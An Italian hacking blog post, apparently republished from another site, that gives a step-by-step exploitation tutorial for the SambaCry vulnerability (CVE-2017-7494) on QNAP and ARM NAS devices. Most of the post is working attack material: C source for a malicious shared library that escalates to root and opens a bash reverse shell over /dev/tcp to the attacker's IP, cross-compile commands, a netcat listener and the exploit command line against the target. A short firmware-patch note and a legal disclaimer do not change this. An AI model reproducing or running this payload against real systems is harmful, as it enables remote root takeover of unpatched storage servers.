HackerSecret.it - Il Sito Italiano Più Autorevole sul Mondo dell'Hacking, del Penetration Testing e della CyberSecurity

  • Home
  • Visita il Nostro Shop
  • Scarica l’App gratuita
VISITA IL NOSTRO SHOP ! CLICCA QUI !

Sfruttare la vulnerablitià Sambacry nei dispositivi QNAP e ARM.

da Lo Staff di HackerSecret.it / domenica, 09 Giugno 2019 / Pubblicato il Hacking
Share
Tweet
Pin

Eccomi di ritorno dalle meritate ferie, e come promesso, sono pronto a mettere nero su bianco i miei test effettuati con la vulnerabilità SambaCry.

Questo post potrà esservi utile per sfruttare la vulnerabilità SambaCry nei server samba installati nei dispositivi nas QNAP o ARM in generale, senza dover utilizzare il framework Metasploit.

Non voglio dilungarmi nella descrizione della vulnerabilità, googlando SambaCry o CVE-2017-7494 troverete tonnellate di materiale.
In poche parole questo bug permette di eseguire comandi sul server samba remoto, l’unico requisito è l’accesso in scrittura di una cartella condivisa!
Un ipotetico malintenzionato non dovrebbe far altro che caricare sulla cartella remota un libreria condivisa (shared library) contenente una backdoor per poi farla eseguire al demone samba tramite una semplice richiesta named pipe.
Qui si scatena il Remote Code Execution.

Dopo un po di teoria partiamo con i requisiti necessari ad effettuare i test.

Requisiti

  1. Una distribuzione Linux, io ho utilizzato Kali e BackBox x64
  2. Un compilatore per processori ARM x86 (arm cross compiler)
  3. Libreria python Impacket
  4. Exploit SambaPipe.py
  5. Python < 2.7
  6. Netcat

Installazione requisiti

Come anticipato nella sezione precedente ho effettuato i test con le distribuzioni Kali e BackBox: Python 2.7, impacket e netcat sono già preinstallati.
Nonostante ciò ho dovuto aggiornare la libreria impacket con l’ultima versione perché ho riscontrato problemi all’esecuzione dell’exploit SambaPipe.

 Nota: non ho appurato se questa operazione può alterare il funzionamento di altri tools all’interno delle distribuzioni.
Vi consiglio caldamente di effettuare questa operazione in una virtual machine o macchina di test.

Partiamo con l’aggiornamento di impacket:

root@kali:~# git clone https://github.com/CoreSecurity/impacket root@kali:~# cd impacket root@kali:~# python setup.py install

e proseguiamo con l’installazione del compilatore arm:

root@kali:~# apt-get install libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi \  libncurses5-dev gcc-arm-linux-gnueabi g++-arm-linux-gnueabi

Dopo di che troveremo l’exploit scritto da beto (@agsolino) nel path:

/usr/local/bin/sambaPipe.py

Creazione payload

Per sfruttare la vulnerabilità SambaCry è necessario creare una shared library da far eseguire al server samba.

Come payload ho scelto una bash reverse shell, ma con una particolarità: esegue un privilege escalation per guadagnare i permessi di root (grazie a Bobby ‘Tables‏ @info_dox per il suggerimento)

Con l’editor preferito creiamo due file poc.h e poc.c:

--poc.h--- #ifndef poc_h__ #define poc_h__   extern int samba_init_module(void);   #endif -----------
---poc.c--- #include <stdio.h> #include <stdlib.h> #include <stdbool.h>  extern bool change_to_root_user(void); int samba_init_module(void) {  change_to_root_user();  system("bash -i >& /dev/tcp/192.168.0.10/4444 0>&1");  return 0; } -----------

 Nota: Sostituire l’ip e la porta scritta in rosso. Eseguire un semplice: ifconfig per leggere il proprio ip.

A questo punto non resta che compilare la nostra reverse shell per l’architettura arm:

root@kali:~# arm-linux-gnueabi-gcc -c -Wall -Werror -fpic poc.c root@kali:~# arm-linux-gnueabi-gcc -shared -o r3vsh3ll.so poc.o

Il risultato è la shared library: r3vsh3ll.so

Exploiting SambaCry

Adesso che tutto il materiale è pronto facciamo un riepilogo:

  • Client – Kali: 192.168.0.10
  • Target – QNAP: 192.168.0.4
  • Exploit: SambaPipe.py
  • Payload: r3vsh3ll.so

In giro ho trovato vari exploit e poc che utilizzavano la libreria impacket, ma tutti avevano un problema comune: non funzionavano con il protocollo smbv1.

Da quello che ho potuto constatare i nas QNAP di default utilizzano samba con il protocollo smbv1.

Mentre sperimentavo e imprecavo contro python, il buon beto pubblicava un aggiornamento della libreria impacket con l’exploit SambaPipe.py.

Tra le sue varie opzioni sono disponibili anche le seguenti caratteristiche:

  1. Ricerca automatica dell cartelle condivise con accesso in scrittura.
  2. Ricerca automatica del path remoto dove risiede la backdoor caricata.
  3. Autoriconoscimento dei protocolli samba 1, 2 e 3 del server target.
  4. Autenticazione anonima o tramite credenziali.

In questa fase avremo bisogno di due terminali, uno da dove eseguiremo l’exploit e l’altro dove attenderemo la chiamata della reverse shell.

Partiamo con netcat.

Mettiamoci in ascolto sulla porta scelta all’interno del payload precedentemente generato, nel mio caso la 4444:

root@kali:~# nc -lvp 4444

Il risultato sarà il seguente:

sambacry

Nel secondo terminale invece facciamo partire l’exploit:

root@kali:~# sambaPipe.py -so r3vsh3ll.so 192.168.0.4

 Nota: lo switch “-so” serve a spacificare il payload da caricare sul server target. Eseguendo l’exploit senza parametri riceverete l’intera lista delle opzioni.

sambacry

Dall’immagine si può notare che l’exploit ha trovato accesso anonimo in scrittura alla cartella Public ed ha eseguito la reverse shell.

Spostandosi sul primo terminale, se tutto è andato a buon fine, avremo la nostra bella shell con diritti di root:

sambacry

QNAP – fix SambaCry

I test che ho riportato in questo post sono stati effettuati nel modello di QNAP: TS-219P

Controllando la pagina “Release Notes for QTS“, l’ultimo firmware vulnerabile è il numero 4.3.3.0188 mentre il 2017/06/07 è stata rilasciata la patch nel firmware numero 4.3.3.0210

Suggerimenti

  1. Sul server samba di test abilitate l’opzione “log level = 10“, in questo modo avrete il massimo della verbosità dei log e potrete vedere quando i tentativi di iniettare la libreria andranno a buon fine.
  2. Se settate l’opzione “log level = 10” in un dispositivo QNAP, ricordatevi di svuotare continuamente i log di samba, altrimenti rischierete di finire lo spazio disco.
  3. Utilizzate un analizzatore di rete tipo wireshark per capire come funziona la vulnerabilità e il protocollo samba in generale.

Riferimenti

  • https://github.com/omri9741/cve-2017-7494
  • https://github.com/opsxcq/exploit-CVE-2017-7494
  • https://github.com/CoreSecurity/impacket
  • https://www.wireshark.org/docs/wsug_html_chunked/
  • https://wiki.samba.org/index.php/Setting_the_Samba_Log_Level

The post Sfruttare la vulnerablitià Sambacry nei dispositivi QNAP e ARM. appeared first on HomeLab IT.

HomeLab IT

Share
Tweet
Pin
Taggato in: ARM., Dispositivi, QNAP, Sambacry, Sfruttare, vulnerablitià

Clicca subito qui per visitare il nostro Shop!

Clicca subito qui per visitare il nostro Shop!

Altri 2300 utenti come te lo hanno già fatto quest'anno!

Dicono di Noi

Francesca M. – Sistemista

Share
Tweet
Pin
 
Samuel D. – Hacker Etico

Share
Tweet
Pin
 
Carola M. – Influencer

Share
Tweet
Pin
 
Renato P. – Investigatore Privato

Share
Tweet
Pin
 
Rosaria S. – Casalinga

Share
Tweet
Pin
 
Paolo V. – Consulente Informatico

Share
Tweet
Pin
 
Matteo C. – Imprenditore

Share
Tweet
Pin
 
Alice B. – Studentessa di Informatica

Share
Tweet
Pin
 
Goffredo B. – Analista IT

Share
Tweet
Pin
 
Roberto C. – Programmatore

Share
Tweet
Pin
 

SCARICATA 1316 VOLTE!

SCARICATA 1316 VOLTE!

Scarica subito Hacker Secret la nostra app Android gratuita.

Cerca nel Sito

Gli ultimi articoli

  • I più famosi hacker italiani

  • Cos’è l’informatica forense?

  • Come capire se ti spiano il cellulare?

  • Il concetto di sicurezza informatica

  • Metasploit tutorial in italiano

Tutte le tecniche, i prodotti e i servizi descritti o contenuti in questo sito si intendono per uso esclusivo di studio e di aggiornamento professionale e per testare la sicurezza della propria rete informatica in accordo alle vigenti normative sull'accesso a sistemi informativi e telematici (cfr. art. 615 ter c.p. e successive modifiche).

TORNA SU
Nuovo Ordine!